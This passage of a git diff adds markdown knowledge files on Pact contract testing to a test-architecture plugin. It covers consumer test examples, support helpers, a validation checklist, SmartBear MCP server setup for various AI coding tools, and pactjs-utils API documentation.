+};
+
+export const getMovies = async () => {
+  const res = await axiosInstance.get('/movies');
+  return res.data;
+};
+
+export const getMovieById = async (id: number) => {
+  const res = await axiosInstance.get(`/movies/${id}`);
+  return res.data;
+};
+```
+
+```typescript
+// tests/contract/consumer/get-movies.pacttest.ts
+import { MatchersV3 } from '@pact-foundation/pact';
+import type { V3MockServer } from '@pact-foundation/pact';
+import { createProviderState, setJsonBody, setJsonContent } from '../support/consumer-helpers';
+import { movieExists } from '../support/provider-states';
+import { createPact } from '../support/pact-config';
+// Import REAL consumer code — this is what we're actually testing
+import { getMovies, getMovieById, setApiUrl } from '../../../src/api/movie-client';
+
+const { like, integer, string } = MatchersV3;
+
+const pact = createPact();
+
+describe('Movies API Consumer Contract', () => {
+  const movieWithId = { id: 1, name: 'The Matrix', year: 1999, rating: 8.7, director: 'Wachowskis' };
+
+  it('should get a movie by ID', async () => {
+    const [stateName, stateParams] = createProviderState(movieExists(movieWithId));
+
+    await pact
+      .addInteraction()
+      .given(stateName, stateParams)
+      .uponReceiving('a request to get movie by ID')
+      .withRequest(
+        'GET',
+        '/movies/1',
+        setJsonContent({
+          headers: { Accept: 'application/json' },
+        }),
+      )
+      .willRespondWith(
+        200,
+        setJsonBody(
+          like({
+            id: integer(1),
+            name: string('The Matrix'),
+            year: integer(1999),
+            rating: like(8.7),
+            director: string('Wachowskis'),
+          }),
+        ),
+      )
+      .executeTest(async (mockServer: V3MockServer) => {
+        // Inject mock server URL into the REAL consumer code
+        setApiUrl(mockServer.url);
+
+        // Call the REAL consumer function — this is what CDC testing validates
+        const movie = await getMovieById(1);
+
+        expect(movie.id).toBe(1);
+        expect(movie.name).toBe('The Matrix');
+      });
+  });
+
+  it('should handle movie not found', async () => {
+    await pact
+      .addInteraction()
+      .given('No movies exist')
+      .uponReceiving('a request for a non-existent movie')
+      .withRequest('GET', '/movies/999')
+      .willRespondWith(404, setJsonBody({ error: 'Movie not found' }))
+      .executeTest(async (mockServer: V3MockServer) => {
+        setApiUrl(mockServer.url);
+
+        await expect(getMovieById(999)).rejects.toThrow();
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- **CRITICAL**: Always test your REAL consumer code — import and call actual API client functions, never raw `fetch()`
+- Using `fetch()` directly only tests that Pact's mock server works, which is meaningless
+- Consumer code MUST expose a URL injection mechanism: `setApiUrl()`, env var override, or constructor parameter
+- If the consumer code doesn't support URL injection, add it — this is a design prerequisite for CDC testing
+- Use PactV4 `addInteraction()` builder (not PactV3 fluent API with `withRequest({...})` object)
+- **Interaction naming convention**: Use the pattern `"a request to <action> <resource> [<condition>]"` for `uponReceiving()`. Examples: `"a request to get a movie by ID"`, `"a request to delete a non-existing movie"`, `"a request to create a movie that already exists"`. These names appear in Pact Broker UI and verification logs — keep them descriptive and unique within the consumer-provider pair.
+- Use `setJsonContent` for request/response builder callbacks with query/header/body concerns; use `setJsonBody` for body-only response callbacks
+- Provider state factory functions (`movieExists`) return `ProviderStateInput` objects
+- `createProviderState` converts to `[stateName, stateParams]` tuple for `.given()`
+
+**Common URL injection patterns** (pick whichever fits your consumer architecture):
+
+| Pattern              | Example                                      | Best For              |
+| -------------------- | -------------------------------------------- | --------------------- |
+| `setApiUrl(url)`     | Mutates axios instance `baseURL`             | Singleton HTTP client |
+| Constructor param    | `new ApiClient({ baseUrl: mockServer.url })` | Class-based clients   |
+| Environment variable | `process.env.API_URL = mockServer.url`       | Config-driven apps    |
+| Factory function     | `createApi({ baseUrl: mockServer.url })`     | Functional patterns   |
+
+---
+
+### Example 8: Support Files
+
+#### Pact Config Factory
+
+```typescript
+// tests/contract/support/pact-config.ts
+import path from 'node:path';
+import { PactV4 } from '@pact-foundation/pact';
+
+export const createPact = (overrides?: { consumer?: string; provider?: string }) =>
+  new PactV4({
+    dir: path.resolve(process.cwd(), 'pacts'),
+    consumer: overrides?.consumer ?? 'MyConsumerApp',
+    provider: overrides?.provider ?? 'MyProviderAPI',
+    logLevel: 'warn',
+  });
+```
+
+#### Provider State Factories
+
+```typescript
+// tests/contract/support/provider-states.ts
+import type { ProviderStateInput } from './consumer-helpers';
+
+export const movieExists = (movie: { id: number; name: string; year: number; rating: number; director: string }): ProviderStateInput => ({
+  name: 'An existing movie exists',
+  params: movie,
+});
+
+export const hasMovieWithId = (id: number): ProviderStateInput => ({
+  name: 'Has a movie with a specific ID',
+  params: { id },
+});
+```
+
+#### Local Consumer Helpers Shim
+
+```typescript
+// tests/contract/support/consumer-helpers.ts
+// TODO(temporary scaffolding): Replace local TemplateHeaders/TemplateQuery types
+// with '@seontechnologies/pactjs-utils' exports when available.
+
+type TemplateHeaders = Record<string, string | number | boolean>;
+type TemplateQueryValue = string | number | boolean | Array<string | number | boolean>;
+type TemplateQuery = Record<string, TemplateQueryValue>;
+
+export type ProviderStateInput = {
+  name: string;
+  params: Record<string, unknown>;
+};
+
+type JsonMap = { [key: string]: boolean | number | string | null | JsonMap | Array<unknown> };
+type JsonContentBuilder = {
+  headers: (headers: TemplateHeaders) => unknown;
+  jsonBody: (body: unknown) => unknown;
+  query?: (query: TemplateQuery) => unknown;
+};
+
+export type JsonContentInput = {
+  body?: unknown;
+  headers?: TemplateHeaders;
+  query?: TemplateQuery;
+};
+
+export const toJsonMap = (obj: Record<string, unknown>): JsonMap =>
+  Object.fromEntries(
+    Object.entries(obj).map(([key, value]) => {
+      if (value === null || value === undefined) return [key, 'null'];
+      if (typeof value === 'object' && !(value instanceof Date) && !Array.isArray(value)) return [key, JSON.stringify(value)];
+      if (typeof value === 'number' || typeof value === 'boolean') return [key, value];
+      if (value instanceof Date) return [key, value.toISOString()];
+      return [key, String(value)];
+    }),
+  );
+
+export const createProviderState = ({ name, params }: ProviderStateInput): [string, JsonMap] => [name, toJsonMap(params)];
+
+export const setJsonContent =
+  ({ body, headers, query }: JsonContentInput) =>
+  (builder: JsonContentBuilder): void => {
+    if (query && builder.query) {
+      builder.query(query);
+    }
+
+    if (headers) {
+      builder.headers(headers);
+    }
+
+    if (body !== undefined) {
+      builder.jsonBody(body);
+    }
+  };
+
+export const setJsonBody = (body: unknown) => setJsonContent({ body });
+```
+
+**Key Points**:
+
+- If `@seontechnologies/pactjs-utils` is not yet installed, create a local shim that mirrors the API
+- Add a TODO comment noting to swap for the published package when available
+- The shim exports `createProviderState`, `toJsonMap`, `setJsonContent`, `setJsonBody`, and helper input types
+- Keep shim types local (or sourced from public exports only); do not import from internal Pact paths like `@pact-foundation/pact/src/*`
+
+---
+
+### Example 9: .gitignore Entries
+
+**Context**: Pact-specific entries to add to `.gitignore`.
+
+```
+# Pact contract testing artifacts
+/pacts/
+pact-logs/
+```
+
+---
+
+## Validation Checklist
+
+Before presenting the consumer CDC framework to the user, verify:
+
+- [ ] `vitest.config.pact.ts` is minimal (no pool/coverage/setup copied from unit config)
+- [ ] Script names match pactjs-utils (`test:pact:consumer`, `publish:pact`, `can:i:deploy:consumer`, `record:consumer:deployment`)
+- [ ] Scripts source `env-setup.sh` inline in package.json
+- [ ] Shell scripts use `pact-broker` not `npx pact-broker`
+- [ ] Shell scripts use `PACTICIPANT` env var pattern
+- [ ] `can-i-deploy.sh` has `--retry-while-unknown=10 --retry-interval=30`
+- [ ] `record-deployment.sh` has branch guard
+- [ ] `env-setup.sh` uses `set -eu`; broker scripts use `set -euo pipefail` — each with explanatory comment
+- [ ] CI workflow named `contract-test-consumer.yml`
+- [ ] CI has workflow-level env block (not per-step)
+- [ ] CI has `detect-breaking-change` step before install
+- [ ] CI step numbering skips (3) — webhook-triggered provider verification
+- [ ] CI can-i-deploy has `PACT_BREAKING_CHANGE != 'true'` condition
+- [ ] CI has NO upload-artifact step
+- [ ] `.github/actions/detect-breaking-change/action.yml` exists
+- [ ] Consumer tests use `.pacttest.ts` extension
+- [ ] Consumer tests use PactV4 `addInteraction()` builder
+- [ ] `uponReceiving()` names follow `"a request to <action> <resource> [<condition>]"` pattern and are unique within the consumer-provider pair
+- [ ] Interaction callbacks use `setJsonContent` for query/header/body and `setJsonBody` for body-only responses
+- [ ] Request bodies use exact values (no `like()` wrapper) — Postel's Law: be strict in what you send
+- [ ] `like()`, `eachLike()`, `string()`, `integer()` matchers are only used in `willRespondWith` (responses), not in `withRequest` (requests) — matchers check type/shape, not exact values
+- [ ] Consumer tests call REAL consumer code (actual API client functions), NOT raw `fetch()`
+- [ ] Consumer code exposes URL injection mechanism (`setApiUrl()`, env var, or constructor param)
+- [ ] Local consumer-helpers shim present if pactjs-utils not installed
+- [ ] `.gitignore` includes `/pacts/` and `pact-logs/`
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — Library decision tree and installation
+- `pactjs-utils-consumer-helpers.md` — `createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` API details
+- `pactjs-utils-provider-verifier.md` — Provider-side verification patterns
+- `pactjs-utils-request-filter.md` — Auth injection for provider verification
+- `contract-testing.md` — Foundational CDC patterns and resilience coverage
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pact-mcp.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pact-mcp.md
new file mode 100644
index 0000000..3badcaf
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pact-mcp.md
@@ -0,0 +1,204 @@
+# Pact MCP Server (SmartBear)
+
+## Principle
+
+Use the SmartBear MCP server to enable AI agent interaction with PactFlow/Pact Broker during contract testing workflows. The MCP server provides tools for generating pact tests, fetching provider states, reviewing test quality, and checking deployment safety — all accessible through the Model Context Protocol.
+
+## Rationale
+
+### Why MCP for contract testing?
+
+- **Live broker queries**: AI agents can fetch existing provider states, verification results, and deployment status directly from PactFlow
+- **Test generation assistance**: MCP tools generate consumer and provider tests based on existing contracts, OpenAPI specs, or templates
+- **Automated review**: MCP-powered review checks tests against best practices without manual inspection
+- **Deployment safety**: `can-i-deploy` checks integrated into agent workflows for real-time compatibility verification
+
+### When TEA uses it
+
+- **test-design workflow**: Fetch existing provider states to understand current contract landscape
+- **automate workflow**: Generate pact tests using broker knowledge and existing contracts
+- **test-review workflow**: Review pact tests against best practices with automated feedback
+- **ci workflow**: Reference can-i-deploy and matrix tools for pipeline guidance
+
+## Available Tools
+
+| #   | Tool                      | Description                                                             | When Used             |
+| --- | ------------------------- | ----------------------------------------------------------------------- | --------------------- |
+| 1   | **Generate Pact Tests**   | Create consumer/provider tests from code, OpenAPI, or templates         | automate workflow     |
+| 2   | **Fetch Provider States** | List all provider states from broker for a given consumer-provider pair | test-design, automate |
+| 3   | **Review Pact Tests**     | Analyze tests against contract testing best practices                   | test-review           |
+| 4   | **Can I Deploy**          | Check deployment safety via broker verification matrix                  | ci workflow           |
+| 5   | **Matrix**                | Query consumer-provider verification matrix                             | ci, test-design       |
+| 6   | **PactFlow AI Status**    | Check AI credits and permissions (PactFlow Cloud only)                  | diagnostics           |
+| 7   | **Metrics - All**         | Workspace-wide contract testing metrics                                 | reporting             |
+| 8   | **Metrics - Team**        | Team-level adoption statistics (PactFlow Cloud only)                    | reporting             |
+
+## Installation
+
+### Config file locations
+
+| Tool              | Global Config File                    | Format                 |
+| ----------------- | ------------------------------------- | ---------------------- |
+| Claude Code       | `~/.claude.json`                      | JSON (`mcpServers`)    |
+| Codex             | `~/.codex/config.toml`                | TOML (`[mcp_servers]`) |
+| Gemini CLI        | `~/.gemini/settings.json`             | JSON (`mcpServers`)    |
+| Cursor            | `~/.cursor/mcp.json`                  | JSON (`mcpServers`)    |
+| Windsurf          | `~/.codeium/windsurf/mcp_config.json` | JSON (`mcpServers`)    |
+| VS Code (Copilot) | `.vscode/mcp.json`                    | JSON (`servers`)       |
+
+> **Claude Code tip**: Prefer the `claude mcp add` CLI over manual JSON editing. Use `-s user` for global (all projects) or omit for per-project (default).
+
+### CLI shortcuts (Claude Code and Codex)
+
+```bash
+# Claude Code — use add-json for servers with env vars (-s user = global)
+claude mcp add-json -s user smartbear \
+  '{"type":"stdio","command":"npx","args":["-y","@smartbear/mcp@latest"],"env":{"PACT_BROKER_BASE_URL":"https://{tenant}.pactflow.io","PACT_BROKER_TOKEN":"<your-token>"}}'
+
+# Codex
+codex mcp add smartbear -- npx -y @smartbear/mcp@latest
+```
+
+### JSON config (Gemini CLI, Cursor, Windsurf)
+
+Add a `"smartbear"` entry to the `mcpServers` object in the config file for your tool:
+
+```json
+{
+  "mcpServers": {
+    "smartbear": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@smartbear/mcp@latest"],
+      "env": {
+        "PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
+        "PACT_BROKER_TOKEN": "<your-api-token>"
+      }
+    }
+  }
+}
+```
+
+### Codex TOML config
+
+Codex uses TOML instead of JSON. Add to `~/.codex/config.toml`:
+
+```toml
+[mcp_servers.smartbear]
+command = "npx"
+args = ["-y", "@smartbear/mcp@latest"]
+
+[mcp_servers.smartbear.env]
+PACT_BROKER_BASE_URL = "https://{tenant}.pactflow.io"
+PACT_BROKER_TOKEN = "<your-api-token>"
+```
+
+Note the key is `mcp_servers` (underscored), not `mcpServers`.
+
+### VS Code (GitHub Copilot)
+
+Add to `.vscode/mcp.json` (note: uses `servers` key, not `mcpServers`):
+
+```json
+{
+  "servers": {
+    "smartbear": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@smartbear/mcp@latest"],
+      "env": {
+        "PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
+        "PACT_BROKER_TOKEN": "${input:pactToken}"
+      }
+    }
+  }
+}
+```
+
+> **Note**: Set either `PACT_BROKER_TOKEN` (for PactFlow) or `PACT_BROKER_USERNAME`+`PACT_BROKER_PASSWORD` (for self-hosted). Leave unused vars empty.
+
+## Required Environment Variables
+
+| Variable               | Required                     | Description                             |
+| ---------------------- | ---------------------------- | --------------------------------------- |
+| `PACT_BROKER_BASE_URL` | Yes (for Pact features)      | PactFlow or self-hosted Pact Broker URL |
+| `PACT_BROKER_TOKEN`    | For PactFlow / token auth    | API token for broker authentication     |
+| `PACT_BROKER_USERNAME` | For basic auth (self-hosted) | Username for basic authentication       |
+| `PACT_BROKER_PASSWORD` | For basic auth (self-hosted) | Password for basic authentication       |
+
+**Authentication**: Use token auth (`PACT_BROKER_TOKEN`) for PactFlow. Use basic auth (`PACT_BROKER_USERNAME` + `PACT_BROKER_PASSWORD`) for self-hosted Pact Broker instances. Only one auth method is needed.
+
+**Requirements**: Node.js 20+
+
+## Pattern Examples
+
+### Example 1: Fetching Provider States During Test Design
+
+When designing contract tests, use MCP to query existing provider states:
+
+```
+# Agent queries SmartBear MCP during test-design workflow:
+# → Fetch Provider States for consumer="movie-web", provider="SampleMoviesAPI"
+# ← Returns: ["movie with id 1 exists", "no movies exist", "user is authenticated"]
+#
+# Agent uses this to generate comprehensive consumer tests covering all states
+```
+
+### Example 2: Reviewing Pact Tests
+
+During test-review workflow, use MCP to evaluate test quality:
+
+```
+# Agent submits test file to SmartBear MCP Review tool:
+# → Review Pact Tests with test file content
+# ← Returns: feedback on matcher usage, state coverage, interaction naming
+#
+# Agent incorporates feedback into review report
+```
+
+### Example 3: Can I Deploy Check in CI
+
+During CI workflow design, reference the can-i-deploy tool:
+
+```
+# Agent generates CI pipeline with can-i-deploy gate:
+# → Can I Deploy: pacticipant="SampleMoviesAPI", version="${GITHUB_SHA}", to="production"
+# ← Returns: { ok: true/false, reason: "..." }
+#
+# Agent designs pipeline to block deployment if can-i-deploy fails
+```
+
+## Key Points
+
+- **Per-project install recommended**: Different projects may target different PactFlow tenants — match TEA's per-project config philosophy
+- **Env vars are project-specific**: `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` vary by project/team
+- **Node.js 20+ required**: SmartBear MCP server requires Node.js 20 or higher
+- **PactFlow Cloud features**: Some tools (AI Status, Team Metrics) are only available with PactFlow Cloud, not self-hosted Pact Broker
+- **Complements pactjs-utils**: MCP provides broker interaction during design/review; pactjs-utils provides runtime utilities for test code
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — runtime utilities that pact tests import
+- `pactjs-utils-provider-verifier.md` — verifier options that reference broker config
+- `contract-testing.md` — foundational contract testing patterns
+
+## Anti-Patterns
+
+### Wrong: Using MCP for runtime test execution
+
+```
+# ❌ Don't use MCP to run pact tests — use npm scripts and CI pipelines
+# MCP is for agent-assisted design, generation, and review
+```
+
+### Right: Use MCP for design-time assistance
+
+```
+# ✅ Use MCP during planning and review:
+# - Fetch provider states to inform test design
+# - Generate test scaffolds from existing contracts
+# - Review tests for best practice compliance
+# - Check can-i-deploy during CI pipeline design
+```
+
+_Source: SmartBear MCP documentation, PactFlow developer docs_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pactjs-utils-consumer-helpers.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pactjs-utils-consumer-helpers.md
new file mode 100644
index 0000000..b0a1f19
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pactjs-utils-consumer-helpers.md
@@ -0,0 +1,270 @@
+# Pact.js Utils Consumer Helpers
+
+## Principle
+
+Use `createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` from `@seontechnologies/pactjs-utils` to build type-safe provider state tuples and reusable PactV4 JSON callbacks for consumer contract tests. These helpers eliminate manual `JsonMap` casting and repetitive inline builder lambdas.
+
+## Rationale
+
+### Problems with raw consumer helper handling
+
+- **JsonMap requirement**: Pact's `.given(stateName, params)` requires `params` to be `JsonMap` — a flat object where every value must be `string | number | boolean | null`
+- **Type gymnastics**: Complex params (Date objects, nested objects, null values) require manual casting that TypeScript can't verify
+- **Inconsistent serialization**: Different developers serialize the same data differently (e.g., dates as ISO strings vs timestamps)
+- **Verbose `.given()` calls**: Repeating state name and params inline makes consumer tests harder to read
+- **Repeated interaction callbacks**: PactV4 interactions duplicate inline `(builder) => { ... }` blocks for body/query/header setup
+
+### Solutions
+
+- **`createProviderState`**: Returns a `[string, JsonMap]` tuple that spreads directly into `.given()` — one function handles name and params
+- **`toJsonMap`**: Explicit coercion rules documented and tested — Date→ISO string, null→"null" string, nested objects→JSON string
+- **`setJsonContent`**: Curried callback helper for request/response builders — set `query`, `headers`, and/or `body` from one reusable function
+- **`setJsonBody`**: Body-only shorthand for `setJsonContent({ body })` — ideal for concise `.willRespondWith(...)` bodies
+
+## Pattern Examples
+
+### Example 1: Basic Provider State Creation
+
+```typescript
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+const provider = new PactV3({
+  consumer: 'movie-web',
+  provider: 'SampleMoviesAPI',
+  dir: './pacts',
+});
+
+describe('Movie API Contract', () => {
+  it('should return movie by id', async () => {
+    // createProviderState returns [stateName, JsonMap] tuple
+    const providerState = createProviderState({
+      name: 'movie with id 1 exists',
+      params: { id: 1, name: 'Inception', year: 2010 },
+    });
+
+    await provider
+      .given(...providerState) // Spread tuple into .given(name, params)
+      .uponReceiving('a request for movie 1')
+      .withRequest({ method: 'GET', path: '/movies/1' })
+      .willRespondWith({
+        status: 200,
+        body: MatchersV3.like({ id: 1, name: 'Inception', year: 2010 }),
+      })
+      .executeTest(async (mockServer) => {
+        const res = await fetch(`${mockServer.url}/movies/1`);
+        const movie = await res.json();
+        expect(movie.name).toBe('Inception');
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- `createProviderState` accepts `{ name: string, params: Record<string, unknown> }`
+- Both `name` and `params` are required (pass `params: {}` for states without parameters)
+- Returns `[string, JsonMap]` — spread with `...` into `.given()`
+- `params` values are automatically converted to JsonMap-compatible types
+- Works identically with HTTP (`PactV3`) and message (`MessageConsumerPact`) pacts
+
+### Example 2: Complex Parameters with toJsonMap
+
+```typescript
+import { toJsonMap } from '@seontechnologies/pactjs-utils';
+
+// toJsonMap conversion rules:
+// - string, number, boolean → passed through
+// - null → "null" (string)
+// - undefined → "null" (string, same as null)
+// - Date → ISO string (e.g., "2025-01-15T10:00:00.000Z")
+// - nested object → JSON string
+// - array → comma-separated string via String() (e.g., [1,2,3] → "1,2,3")
+
+const params = toJsonMap({
+  id: 42,
+  name: 'John Doe',
+  active: true,
+  score: null,
+  createdAt: new Date('2025-01-15T10:00:00Z'),
+  metadata: { role: 'admin', permissions: ['read', 'write'] },
+});
+
+// Result:
+// {
+//   id: 42,
+//   name: "John Doe",
+//   active: true,
+//   score: "null",
+//   createdAt: "2025-01-15T10:00:00.000Z",
+//   metadata: '{"role":"admin","permissions":["read","write"]}'
+// }
+```
+
+**Key Points**:
+
+- `toJsonMap` is called internally by `createProviderState` — you rarely need it directly
+- Use it when you need explicit control over parameter conversion outside of provider states
+- Conversion rules are deterministic: same input always produces same output
+
+### Example 3: Provider State Without Parameters
+
+```typescript
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+// State without params — second tuple element is empty object
+const emptyState = createProviderState({ name: 'no movies exist', params: {} });
+// Returns: ['no movies exist', {}]
+
+await provider
+  .given(...emptyState)
+  .uponReceiving('a request when no movies exist')
+  .withRequest({ method: 'GET', path: '/movies' })
+  .willRespondWith({ status: 200, body: [] })
+  .executeTest(async (mockServer) => {
+    const res = await fetch(`${mockServer.url}/movies`);
+    const movies = await res.json();
+    expect(movies).toEqual([]);
+  });
+```
+
+### Example 4: Multiple Provider States
+
+```typescript
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+// Some interactions require multiple provider states
+// Call .given() multiple times with different states
+await provider
+  .given(...createProviderState({ name: 'user is authenticated', params: { userId: 1 } }))
+  .given(...createProviderState({ name: 'movie with id 5 exists', params: { id: 5 } }))
+  .uponReceiving('an authenticated request for movie 5')
+  .withRequest({
+    method: 'GET',
+    path: '/movies/5',
+    headers: { Authorization: MatchersV3.like('Bearer token') },
+  })
+  .willRespondWith({ status: 200, body: MatchersV3.like({ id: 5 }) })
+  .executeTest(async (mockServer) => {
+    // test implementation
+  });
+```
+
+### Example 5: When to Use setJsonBody vs setJsonContent
+
+```typescript
+import { MatchersV3 } from '@pact-foundation/pact';
+import { setJsonBody, setJsonContent } from '@seontechnologies/pactjs-utils';
+
+const { integer, string } = MatchersV3;
+
+await pact
+  .addInteraction()
+  .given('movie exists')
+  .uponReceiving('a request to get movie by name')
+  .withRequest(
+    'GET',
+    '/movies',
+    setJsonContent({
+      query: { name: 'Inception' },
+      headers: { Accept: 'application/json' },
+    }),
+  )
+  .willRespondWith(
+    200,
+    setJsonBody({
+      status: 200,
+      data: { id: integer(1), name: string('Inception') },
+    }),
+  );
+```
+
+**Key Points**:
+
+- Use `setJsonContent` when the interaction needs `query`, `headers`, and/or `body` in one callback (most request builders)
+- Use `setJsonBody` when you only need `jsonBody` and want the shorter `.willRespondWith(status, setJsonBody(...))` form
+- `setJsonBody` is equivalent to `setJsonContent({ body: ... })`
+
+## Key Points
+
+- **Spread pattern**: Always use `...createProviderState()` — the tuple spreads into `.given(stateName, params)`
+- **Type safety**: TypeScript enforces `{ name: string, params: Record<string, unknown> }` input (both fields required)
+- **Null handling**: `null` becomes `"null"` string in JsonMap (Pact requirement)
+- **Date handling**: Date objects become ISO 8601 strings
+- **No nested objects in JsonMap**: Nested objects are JSON-stringified — provider state handlers must parse them
+- **Array serialization is lossy**: Arrays are converted via `String()` (e.g., `[1,2,3]` → `"1,2,3"`) — prefer passing arrays as JSON-stringified objects for round-trip safety
+- **Message pacts**: Works identically with `MessageConsumerPact` — same `.given()` API
+- **Builder reuse**: `setJsonContent` works for both `.withRequest(...)` and `.willRespondWith(...)` callbacks (query is ignored on response builders)
+- **Body shorthand**: `setJsonBody` keeps body-only responses concise and readable
+- **Matchers check type, not value**: `string('My movie')` means "any string", `integer(1)` means "any integer". The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies.
+- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths).
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
+- `pactjs-utils-provider-verifier.md` — provider-side state handler implementation
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual JsonMap assembly
+
+```typescript
+// ❌ Manual casting — verbose, error-prone, no type safety
+provider.given('user exists', {
+  id: 1 as unknown as string,
+  createdAt: new Date().toISOString(),
+  metadata: JSON.stringify({ role: 'admin' }),
+} as JsonMap);
+```
+
+### Right: Use createProviderState
+
+```typescript
+// ✅ Automatic conversion with type safety
+provider.given(
+  ...createProviderState({
+    name: 'user exists',
+    params: { id: 1, createdAt: new Date(), metadata: { role: 'admin' } },
+  }),
+);
+```
+
+### Wrong: Inline state names without helper
+
+```typescript
+// ❌ Duplicated state names between consumer and provider — easy to mismatch
+provider.given('a user with id 1 exists', { id: '1' });
+// Later in provider: 'user with id 1 exists' — different string!
+```
+
+### Right: Share state constants
+
+```typescript
+// ✅ Define state names as constants shared between consumer and provider
+const STATES = {
+  USER_EXISTS: 'user with id exists',
+  NO_USERS: 'no users exist',
+} as const;
+
+provider.given(...createProviderState({ name: STATES.USER_EXISTS, params: { id: 1 } }));
+```
+
+### Wrong: Repeating inline builder lambdas everywhere
+
+```typescript
+// ❌ Repetitive callback boilerplate in every interaction
+.willRespondWith(200, (builder) => {
+  builder.jsonBody({ status: 200 });
+});
+```
+
+### Right: Use setJsonBody / setJsonContent
+
+```typescript
+// ✅ Reusable callbacks with less boilerplate
+.withRequest('GET', '/movies', setJsonContent({ query: { name: 'Inception' } }))
+.willRespondWith(200, setJsonBody({ status: 200 }));
+```
+
+_Source: @seontechnologies/pactjs-utils consumer-helpers module, pactjs-utils sample-app consumer tests_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pactjs-utils-overview.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pactjs-utils-overview.md
new file mode 100644
index 0000000..cb330ef
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pactjs-utils-overview.md
@@ -0,0 +1,216 @@
+# Pact.js Utils Overview
+
+## Principle
+
+Use production-ready utilities from `@seontechnologies/pactjs-utils` to eliminate boilerplate in consumer-driven contract testing. The library wraps `@pact-foundation/pact` with type-safe helpers for provider state creation, PactV4 JSON interaction builders, verifier configuration, and request filter injection — working equally well for HTTP and message (async/Kafka) contracts.
+
+## Rationale
+
+### Problems with raw @pact-foundation/pact
+
+- **JsonMap casting**: Provider state parameters require `JsonMap` type — manually casting every value is error-prone and verbose
+- **Repeated builder lambdas**: PactV4 interactions often repeat inline callbacks with `builder.query(...)`, `builder.headers(...)`, and `builder.jsonBody(...)`
+- **Verifier configuration sprawl**: `VerifierOptions` requires 30+ lines of scattered configuration (broker URL, selectors, state handlers, request filters, version tags)
+- **Environment variable juggling**: Different env vars for local vs remote flows, breaking change coordination, payload URL matching
+- **Express middleware types**: Request filter requires Express types that aren't re-exported from Pact
+- **Bearer prefix bugs**: Easy to double-prefix tokens as `Bearer Bearer ...` in request filters
+- **CI version tagging**: Manual logic to extract branch/tag info from CI environment
+
+### Solutions from pactjs-utils
+
+- **`createProviderState`**: One-call tuple builder for `.given()` — handles all JsonMap conversion automatically
+- **`toJsonMap`**: Explicit type coercion (null→"null", Date→ISO string, nested objects flattened)
+- **`setJsonContent`**: Curried callback helper for PactV4 `.withRequest(...)` / `.willRespondWith(...)` builders (query/headers/body)
+- **`setJsonBody`**: Body-only shorthand alias of `setJsonContent({ body })`
+- **`buildVerifierOptions`**: Single function assembles complete VerifierOptions from minimal inputs — handles local/remote/BDCT flows
+- **`buildMessageVerifierOptions`**: Same as above but for message/Kafka provider verification
+- **`handlePactBrokerUrlAndSelectors`**: Resolves broker URL and consumer version selectors from env vars with breaking change awareness
+- **`getProviderVersionTags`**: CI-aware version tagging (extracts branch/tag from GitHub Actions, GitLab CI, etc.)
+- **`createRequestFilter`**: Pluggable token generator pattern — prevents double-Bearer bugs by contract
+- **`noOpRequestFilter`**: Pass-through for providers that don't require auth injection
+
+## Installation
+
+```bash
+npm install -D @seontechnologies/pactjs-utils
+
+# Peer dependency
+npm install -D @pact-foundation/pact
+```
+
+**Requirements**: `@pact-foundation/pact` >= 16.2.0, Node.js >= 18
+
+## Available Utilities
+
+| Category          | Function                          | Description                                          | Use Case                                                         |
+| ----------------- | --------------------------------- | ---------------------------------------------------- | ---------------------------------------------------------------- |
+| Consumer Helpers  | `createProviderState`             | Builds `[stateName, JsonMap]` tuple from typed input | Consumer tests: `.given(...createProviderState(input))`          |
+| Consumer Helpers  | `toJsonMap`                       | Converts any object to Pact-compatible `JsonMap`     | Explicit type coercion for provider state params                 |
+| Consumer Helpers  | `setJsonContent`                  | Curried request/response JSON callback helper        | PactV4 `.withRequest(...)` and `.willRespondWith(...)` builders  |
+| Consumer Helpers  | `setJsonBody`                     | Body-only alias of `setJsonContent`                  | Body-only `.willRespondWith(...)` responses                      |
+| Provider Verifier | `buildVerifierOptions`            | Assembles complete HTTP `VerifierOptions`            | Provider verification: `new Verifier(buildVerifierOptions(...))` |
+| Provider Verifier | `buildMessageVerifierOptions`     | Assembles message `VerifierOptions`                  | Kafka/async provider verification                                |
+| Provider Verifier | `handlePactBrokerUrlAndSelectors` | Resolves broker URL + selectors from env vars        | Env-aware broker configuration                                   |
+| Provider Verifier | `getProviderVersionTags`          | CI-aware version tag extraction                      | Provider version tagging in CI                                   |
